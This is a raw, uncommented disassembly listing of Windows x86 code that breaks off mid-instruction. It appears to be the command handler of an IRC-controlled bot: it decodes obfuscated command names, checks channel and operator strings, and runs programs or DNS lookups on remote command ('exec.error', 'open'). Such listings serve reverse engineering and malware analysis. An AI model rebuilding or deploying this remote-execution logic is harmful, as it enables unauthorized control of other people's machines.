CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40222A lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_40222A mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403F30 proc near ; CODE XREF: sub_40208Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403F30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AE6 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403F30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_404010 proc near ; CODE XREF: sub_401D48j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_404010 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017EE lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_404010 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017EE push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017EE lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017EE lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017EE push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017EE lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017EE lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017EE push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017EE lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017EE lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017EE push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017EE lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017EE push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017EE push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh dd 45F46850h, 85680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch dd 50FFFFD3h, 4445F068h, 8E556800h, 3EE8004Eh, 83FFFFCBh dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 3EC6ADE8h dd 0C88B9002h, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh dd 0 ; --------------------------------------------------------------------------- add esp, 54h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404690 proc near ; CODE XREF: sub_401A41j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404690 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_401479 mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_4046D2 push ebx jmp short loc_4046D6 ; --------------------------------------------------------------------------- loc_4046D2: ; CODE XREF: sub_404690+3Dj lea eax, [esi+15h] push eax loc_4046D6: ; CODE XREF: sub_404690+40j mov ecx, edi call sub_401FDC mov al, [esi+94h] test al, al jz short loc_4046F2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FDC loc_4046F2: ; CODE XREF: sub_404690+55j mov al, [esi+95h] test al, al jz short loc_40476F lea ecx, [esp+98h+var_6C] call sub_40142E push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013ED add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E47 push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FDC lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40476F: ; CODE XREF: sub_404690+6Aj push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E47 lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_401479 push 0 mov ecx, esi mov ebp, eax call sub_401479 mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_404A3A push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019C4 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40485F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jz short loc_40485F mov bl, 1 jmp short loc_404861 ; --------------------------------------------------------------------------- loc_40485F: ; CODE XREF: sub_404690+1A6j ; sub_404690+1C9j xor bl, bl loc_404861: ; CODE XREF: sub_404690+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_404A1E push offset asc_444600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_404A3A push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_404A3A push 20h mov ecx, esi call sub_401D34 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E47 mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D34 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E47 push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40202C lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FDC push offset asc_444600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016B8 lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E47 push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FDC lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049F7 test ebp, ebp jle short loc_404A08 loc_4049E8: ; CODE XREF: sub_404690+363j mov ecx, [esp+98h+var_88] push esi call sub_401F87 dec ebp jnz short loc_4049E8 jmp short loc_404A08 ; --------------------------------------------------------------------------- loc_4049F7: ; CODE XREF: sub_404690+352j test ebp, ebp jle short loc_404A08 loc_4049FB: ; CODE XREF: sub_404690+376j mov ecx, [esp+98h+var_88] push esi call sub_40144C dec ebp jnz short loc_4049FB loc_404A08: ; CODE XREF: sub_404690+356j ; sub_404690+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A1E: ; CODE XREF: sub_404690+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_404A35 call sub_401F87 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A35: ; CODE XREF: sub_404690+39Cj call sub_40144C loc_404A3A: ; CODE XREF: sub_404690+162j ; sub_404690+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B60 proc near ; CODE XREF: sub_401F87j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_44AC72 call sub_4014DD mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404BA6 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jnz short loc_404BA6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BA6: ; CODE XREF: sub_404B60+1Dj ; sub_404B60+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jnz short loc_404BE6 mov al, [edi+469h] test al, al jz short loc_404BE6 push 0 lea ecx, [esi+2Ah] call sub_401479 cmp byte ptr [eax], 23h jz short loc_404BE6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_404B60+64j ; sub_404B60+6Ej ... push esi mov ecx, edi call sub_40144C pop edi pop esi retn 4 sub_404B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C30 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017EE push eax mov ecx, offset dword_449128 call sub_401B04 test eax, eax jz short loc_404C5A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C5A: ; CODE XREF: sub_404C30+1Cj xor al, al pop esi retn 4 sub_404C30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_40186Bj push esi push edi mov edi, dword_5118AC mov esi, ecx call edi mov edx, dword_4D80A9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C9F mov ecx, offset byte_4D8085 call sub_401D20 call edi mov dword_4D80A9, eax loc_404C9F: ; CODE XREF: sub_404C70+1Cj pop edi mov al, 1 pop esi retn sub_404C70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404CC0 proc near ; CODE XREF: sub_4017D0j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404CC0 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404D34 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [edi+2E3h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404D34: ; CODE XREF: sub_404CC0+40j lea ecx, [edi+0D6Bh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404EC5 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_444600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C71 push eax lea ecx, [esp+180h+var_14C] call sub_4017EE push eax nop call near ptr 2810000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FDC mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014DD push eax push 0 nop call near ptr 28004C1h test eax, eax jnz short loc_404E99 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404E99: ; CODE XREF: sub_404CC0+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404EC5: ; CODE XREF: sub_404CC0+89j lea ecx, [edi+0B71h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F74 push 1 push offset asc_444600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E8E55 mov [esp+178h+var_4], 3 call sub_4017EE push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F60 mov al, byte_4498A6 test al, al jz short loc_404F30 push offset dword_449844 mov ecx, offset dword_44AD80 call sub_401451 loc_404F30: ; CODE XREF: sub_404CC0+25Fj mov al, byte_4498EF test al, al jz short loc_404F48 push offset byte_44991F mov ecx, offset dword_44AD80 call sub_401951 loc_404F48: ; CODE XREF: sub_404CC0+277j mov ecx, offset dword_44AD80 call sub_401E79 mov byte_4D809C, 0 mov byte_4E8E54, 0 loc_404F60: ; CODE XREF: sub_404CC0+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404F74: ; CODE XREF: sub_404CC0+21Aj lea ecx, [edi+0C57h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404FBC lea ecx, [esi+69h] call sub_4014DD push eax mov ecx, offset word_4E8E6A call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404FBC: ; CODE XREF: sub_404CC0+2C9j lea ecx, [edi+0DC7h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405076 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019C4 mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1D4h+var_164] push 9 push ecx mov [esp+1DCh+var_4], 4 call sub_4019C4 add esp, 64h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405076: ; CODE XREF: sub_404CC0+311j lea ecx, [edi+0D0Fh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405194 lea ecx, [esp+178h+var_14C] call sub_40142E push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017EE push eax lea ecx, [esp+17Ch+var_14C] call sub_401A9B lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017EE push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_402112 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40202C lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405194: ; CODE XREF: sub_404CC0+3CBj lea ecx, [edi+0D99h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_4051B7 mov byte_4D809C, al mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4051B7: ; CODE XREF: sub_404CC0+4E9j lea ecx, [edi+0D3Dh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40547E lea ecx, [esp+178h+var_11C] call sub_40142E push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_405241 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405241: ; CODE XREF: sub_404CC0+56Bj push offset asc_444600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017EE push eax nop call near ptr 71AB2BF4h lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_405314 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax nop call near ptr 71ABE479h mov edi, eax test edi, edi jz loc_4053F5 push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017EE push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40545B ; --------------------------------------------------------------------------- loc_405314: ; CODE XREF: sub_404CC0+5C7j push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017EE push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053F5 mov ecx, [edi+0Ch] push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016B8 mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh nop call near ptr 71AB3F41h push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4053F5: ; CODE XREF: sub_404CC0+5E0j ; sub_404CC0+691j push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call 